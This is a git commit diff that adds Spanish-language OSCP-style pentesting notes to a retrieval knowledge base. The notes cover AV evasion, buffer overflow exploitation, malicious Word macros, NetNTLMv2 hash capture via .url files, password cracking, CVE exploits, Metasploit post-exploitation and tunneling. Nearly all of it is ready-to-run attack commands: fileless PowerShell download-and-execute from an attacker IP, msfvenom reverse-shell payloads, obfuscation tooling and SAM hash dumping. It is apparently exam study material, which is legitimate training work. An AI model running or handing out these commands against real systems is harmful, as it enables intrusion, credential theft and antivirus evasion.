saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
28
nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md
Normal file
28
nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# AV evasion
|
||||
|
||||
> Cuando hay antivirus y tu payload muere al tocar disco. Fuente: oscp.trastero.org/avevasion.
|
||||
|
||||
## PowerShell en memoria (no toca disco)
|
||||
```powershell
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/rev.ps1') # fileless
|
||||
powershell -ExecutionPolicy Bypass -File evasion.ps1
|
||||
powershell -encodedCommand JABjAG8AZABl... # comando en base64 (UTF-16LE)
|
||||
```
|
||||
|
||||
## Generar y ofuscar
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1 # → msfvenom
|
||||
python3 ps_encoder.py -s evasion.ps1 # darkoperator/Invoke-Obfuscation
|
||||
./chimera.sh -f evasion.ps1 -l 1,2,3 -o out.ps1 # Chimera: ofusca strings/variables
|
||||
```
|
||||
|
||||
## Inyección directa (P/Invoke)
|
||||
Script PS que reserva memoria con **VirtualAlloc**, copia el shellcode y lanza **CreateThread** → ejecuta sin escribir un .exe al disco (evade el escaneo on-write).
|
||||
|
||||
## Otras tools
|
||||
- **Shellter** (inyecta en un .exe legítimo), **Veil**, **Nim/C# loaders**.
|
||||
- **UPX** para empaquetar y cambiar la firma: `upx -9 rev.exe`.
|
||||
|
||||
> Nota OSCP: la evasión de AV está permitida (no es un escáner de vulns prohibido → Reglas de herramientas); rara vez hace falta en el examen, pero alguna máquina la pide.
|
||||
|
||||
Relacionado: Client-side attacks · msfvenom · Reverse shell · OSCP MOC
|
||||
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
|
|
@ -0,0 +1,58 @@
|
|||
# Buffer Overflow (stack, 32-bit)
|
||||
|
||||
> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
|
||||
> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.
|
||||
|
||||
## Setup de mona (una vez)
|
||||
```
|
||||
!mona config -set workingfolder c:\mona\%p
|
||||
```
|
||||
|
||||
## Los 7 pasos
|
||||
```
|
||||
[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]
|
||||
```
|
||||
|
||||
### 1. Fuzzing — encontrar el crash
|
||||
Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.
|
||||
|
||||
### 2. Offset — posición exacta del EIP
|
||||
```bash
|
||||
msf-pattern_create -l 3000 # mándalo como buffer
|
||||
msf-pattern_offset -l 3000 -q 39694438 # el valor que quedó en EIP
|
||||
# alternativa en mona:
|
||||
!mona findmsp -distance 3000 # te da "EIP contains normal pattern ... offset XXXX"
|
||||
```
|
||||
|
||||
### 3. Controlar EIP — confirmar
|
||||
Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.
|
||||
|
||||
### 4. Badchars — bytes que corrompen
|
||||
```
|
||||
!mona bytearray -b "\x00" # genera \x01..\xff
|
||||
# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
|
||||
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
|
||||
```
|
||||
Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".
|
||||
|
||||
### 5. JMP ESP — la dirección de retorno
|
||||
```
|
||||
!mona jmp -r esp -cpb "\x00\x0a\x0d" # busca un JMP ESP sin badchars
|
||||
# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
|
||||
```
|
||||
Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).
|
||||
|
||||
### 6. Shellcode con msfvenom
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
|
||||
-b "\x00\x0a\x0d" -f py -v shellcode
|
||||
# Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
### 7. Exploit final
|
||||
```
|
||||
buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
|
||||
```
|
||||
Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.
|
||||
|
||||
Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# Client-side attacks
|
||||
|
||||
> Atacas a un **usuario** (que abre un documento/enlace), no a un servicio. Fuente: oscp.trastero.org/clientside.
|
||||
|
||||
## Macro de Word (VBA)
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta # → msfvenom
|
||||
python3 split.py # parte el payload codificado en trozos de 50 chars para el VBA
|
||||
```
|
||||
- VBA con `Sub AutoOpen()` y `Sub Document_Open()` que reconstruye y ejecuta el PowerShell.
|
||||
- **Guardar como "Documento de Word 97-2003" (.doc)** para que conserve la macro.
|
||||
- Verificar: `olevba evil.doc`.
|
||||
|
||||
## Acceso directo malicioso (.url / .lnk)
|
||||
```ini
|
||||
[InternetShortcut]
|
||||
URL=file://TU_IP
|
||||
IconFile=\\TU_IP\SERVER\%USERNAME%.icon
|
||||
IconIndex=1
|
||||
```
|
||||
- El `IconFile` con ruta **UNC** fuerza al cliente a autenticar contra tu SMB → **capturas su hash NetNTLMv2**.
|
||||
```bash
|
||||
impacket-smbserver -smb2support SERVER $(pwd) # o Responder → Herramientas (índice)
|
||||
```
|
||||
- El hash capturado → Cracking de contraseñas (`hashcat -m 5600`) o relay.
|
||||
|
||||
Relacionado: AV evasion · Cracking de contraseñas · Authentication attacks · OSCP MOC
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
# Cracking de contraseñas
|
||||
|
||||
> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.
|
||||
|
||||
## Identificar el hash
|
||||
```bash
|
||||
hashid '$1$...' # o hash-identifier
|
||||
```
|
||||
|
||||
## hashcat — los modos que importan
|
||||
```
|
||||
-m 0 MD5 -m 100 SHA1 -m 1000 NTLM
|
||||
-m 1800 sha512crypt ($6$, /etc/shadow)
|
||||
-m 5600 NetNTLMv2 (capturado con Responder → Client-side attacks)
|
||||
-m 13100 Kerberoast TGS ($krb5tgs$) → Kerberoasting
|
||||
-m 18200 AS-REP ($krb5asrep$) → AS-REP Roasting
|
||||
-m 22000 WPA-PBKDF2 -m 13400 KeePass
|
||||
```
|
||||
```bash
|
||||
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
|
||||
```
|
||||
|
||||
## John the Ripper
|
||||
```bash
|
||||
unshadow /etc/passwd /etc/shadow > unshadowed
|
||||
john --format=NT hashes.txt --wordlist=rockyou.txt
|
||||
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john # extractores
|
||||
john --rules --wordlist=rockyou.txt z.hash
|
||||
```
|
||||
|
||||
## Wordlists a medida
|
||||
```bash
|
||||
cewl http://IP -m 6 -w custom.txt # palabras de la propia web
|
||||
crunch 8 8 -t @@@@%%%% -o crunch.txt # patrones
|
||||
```
|
||||
|
||||
## Online (servicio en vivo)
|
||||
```bash
|
||||
hydra -L users.txt -P rockyou.txt ssh://IP # ver Authentication attacks
|
||||
medusa -h IP -u admin -P pass.txt -M smbnt
|
||||
fcrackzip -u -D -p rockyou.txt secret.zip # ZIP
|
||||
crowbar -b rdp -s IP/32 -u admin -C pass.txt # RDP
|
||||
```
|
||||
|
||||
Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Exploits conocidos (CVEs)
|
||||
|
||||
> Exploits públicos que aparecen una y otra vez. Localízalos con searchsploit y **léelos antes de lanzarlos**. Fuente: oscp.trastero.org/exploits.
|
||||
|
||||
## Linux (privesc local)
|
||||
```
|
||||
CVE-2021-4034 PwnKit / pkexec (polkit) → casi universal, sin dependencias
|
||||
CVE-2021-3156 Baron Samedit (sudo)
|
||||
CVE-2022-0847 Dirty Pipe (kernel ≥5.8)
|
||||
CVE-2016-5195 Dirty COW (kernel viejo)
|
||||
CVE-2012-0056 Mempodipper
|
||||
```
|
||||
Comprueba versión: `uname -a`, `sudo --version`, y mira Privesc Linux antes del kernel exploit.
|
||||
|
||||
## Windows
|
||||
```
|
||||
MS17-010 EternalBlue (SMBv1) → foothold remoto
|
||||
PrintNightmare CVE-2021-1675 / 34527 → privesc/RCE vía spooler
|
||||
SpoolFool CVE-2022-21999 → privesc spooler
|
||||
HiveNightmare CVE-2021-36934 (SeriousSAM) → lee SAM como user
|
||||
```
|
||||
Potato family (SeImpersonate) → ver Potato attacks.
|
||||
|
||||
## Compilar
|
||||
```bash
|
||||
gcc exploit.c -o exploit # Linux
|
||||
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll # DLL Windows (cross-compile)
|
||||
i686-w64-mingw32-gcc evil.c -o evil.exe # EXE 32-bit
|
||||
```
|
||||
Para shellcode listo: msfvenom `-f exe` / `-f dll`.
|
||||
|
||||
> ⚠️ Hay PoCs falsos/maliciosos. Lee el código antes de ejecutar (searchsploit).
|
||||
|
||||
Relacionado: Privesc Windows · Privesc Linux · OSCP MOC
|
||||
45
nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md
Normal file
45
nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Metasploit
|
||||
|
||||
> ⚠️ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit.
|
||||
|
||||
## Básico
|
||||
```
|
||||
msfconsole -q
|
||||
search <servicio/cve>
|
||||
use exploit/...
|
||||
show options ; set RHOSTS IP ; set LHOST TU_IP ; run
|
||||
```
|
||||
|
||||
## multi/handler (recibir un payload de msfvenom)
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_reverse_tcp # o windows/meterpreter/reverse_tcp
|
||||
set LHOST TU_IP ; set LPORT 443 ; run
|
||||
```
|
||||
|
||||
## Meterpreter (post-explotación)
|
||||
```
|
||||
getuid # quién soy
|
||||
getsystem # intento de privesc a SYSTEM
|
||||
hashdump # vuelca hashes SAM → Cracking de contraseñas / Pass-the-Hash
|
||||
ps ; migrate 799 # migrar a otro proceso
|
||||
background ; sessions -i 1
|
||||
```
|
||||
|
||||
## Subir una shell normal a meterpreter
|
||||
```
|
||||
# Ctrl+Z para mandar la shell a background, luego:
|
||||
use post/multi/manage/shell_to_meterpreter
|
||||
set SESSION 1 ; run
|
||||
sessions -i 2
|
||||
```
|
||||
|
||||
## Pivoting con Metasploit
|
||||
```
|
||||
use post/multi/manage/autoroute
|
||||
set SESSION 1 ; set SUBNET 192.168.5.0 ; run
|
||||
use auxiliary/server/socks_proxy ; run # + proxychains → Tunneling
|
||||
portfwd add -l 3389 -p 3389 -r 192.168.5.10
|
||||
```
|
||||
|
||||
Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC
|
||||
45
nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md
Normal file
45
nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Tunneling y port forwarding
|
||||
|
||||
> Reenviar puertos y montar proxies para alcanzar redes internas. Alternativas a Pivoting ligolo-ng. Fuente: oscp.trastero.org/tunneling.
|
||||
|
||||
## SSH (el más portable)
|
||||
```bash
|
||||
ssh -L 8080:127.0.0.1:80 user@pivot # LOCAL: tu :8080 → servicio interno
|
||||
ssh -R 3390:127.0.0.1:3389 user@kali # REMOTE: expone el RDP del pivot en tu :3390
|
||||
ssh -D 1080 user@pivot # DYNAMIC: proxy SOCKS en tu :1080
|
||||
# luego: proxychains <herramienta> (configura socks en /etc/proxychains4.conf)
|
||||
```
|
||||
|
||||
## Chisel (cuando no hay SSH)
|
||||
```bash
|
||||
# Kali (servidor):
|
||||
./chisel server -p 8000 --reverse
|
||||
# Víctima (cliente) → SOCKS reverso:
|
||||
./chisel client TU_IP:8000 R:socks
|
||||
# ahora: proxychains nmap -sT -Pn 192.168.5.10
|
||||
```
|
||||
|
||||
## socat (redirección simple)
|
||||
```bash
|
||||
socat TCP-LISTEN:8080,fork TCP:192.168.5.10:80
|
||||
```
|
||||
|
||||
## Plink (SSH desde Windows)
|
||||
```cmd
|
||||
plink.exe -R 3390:127.0.0.1:3389 user@TU_IP
|
||||
```
|
||||
|
||||
## sshuttle (VPN improvisada, lo más cómodo)
|
||||
```bash
|
||||
sshuttle -r user@pivot 192.168.5.0/24 --dns
|
||||
```
|
||||
|
||||
## Windows nativo — netsh portproxy
|
||||
```cmd
|
||||
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.5.10 connectport=80
|
||||
```
|
||||
|
||||
## proxychains
|
||||
- `proxychains nmap -sT -Pn IP` → usa `-sT` (TCP connect): el SYN scan **no** pasa por el proxy. Ver Nmap NSE.
|
||||
|
||||
Relacionado: Pivoting ligolo-ng · Movimiento lateral · Puesto de mando Kali · OSCP MOC
|
||||
36
nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md
Normal file
36
nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md
Normal file
|
|
@ -0,0 +1,36 @@
|
|||
# msfvenom
|
||||
|
||||
> El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit.
|
||||
|
||||
## Anatomía
|
||||
```bash
|
||||
msfvenom -p <payload> LHOST=TU_IP LPORT=443 -f <formato> -o salida [-b badchars] [-e encoder]
|
||||
```
|
||||
|
||||
## Payloads frecuentes
|
||||
```
|
||||
windows/shell_reverse_tcp shell normal (no necesita Metasploit para recibir → nc)
|
||||
windows/meterpreter/reverse_tcp meterpreter (recíbelo con multi/handler)
|
||||
linux/x86/shell_reverse_tcp
|
||||
windows/x64/shell_reverse_tcp (x64)
|
||||
```
|
||||
|
||||
## Formatos (-f) según el caso
|
||||
```
|
||||
exe ejecutable Windows dll DLL hijacking / Exploits conocidos
|
||||
raw shellcode crudo (B0F) py para tu script de Buffer Overflow
|
||||
psh / powershell hta-psh Client-side attacks
|
||||
aspx / war / jsp webshells para upload
|
||||
elf ejecutable Linux
|
||||
```
|
||||
|
||||
## Ejemplos
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1 # → AV evasion
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta
|
||||
```
|
||||
- Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion.
|
||||
|
||||
Relacionado: Reverse shell · Metasploit · OSCP MOC
|
||||
Loading…
Add table
Add a link
Reference in a new issue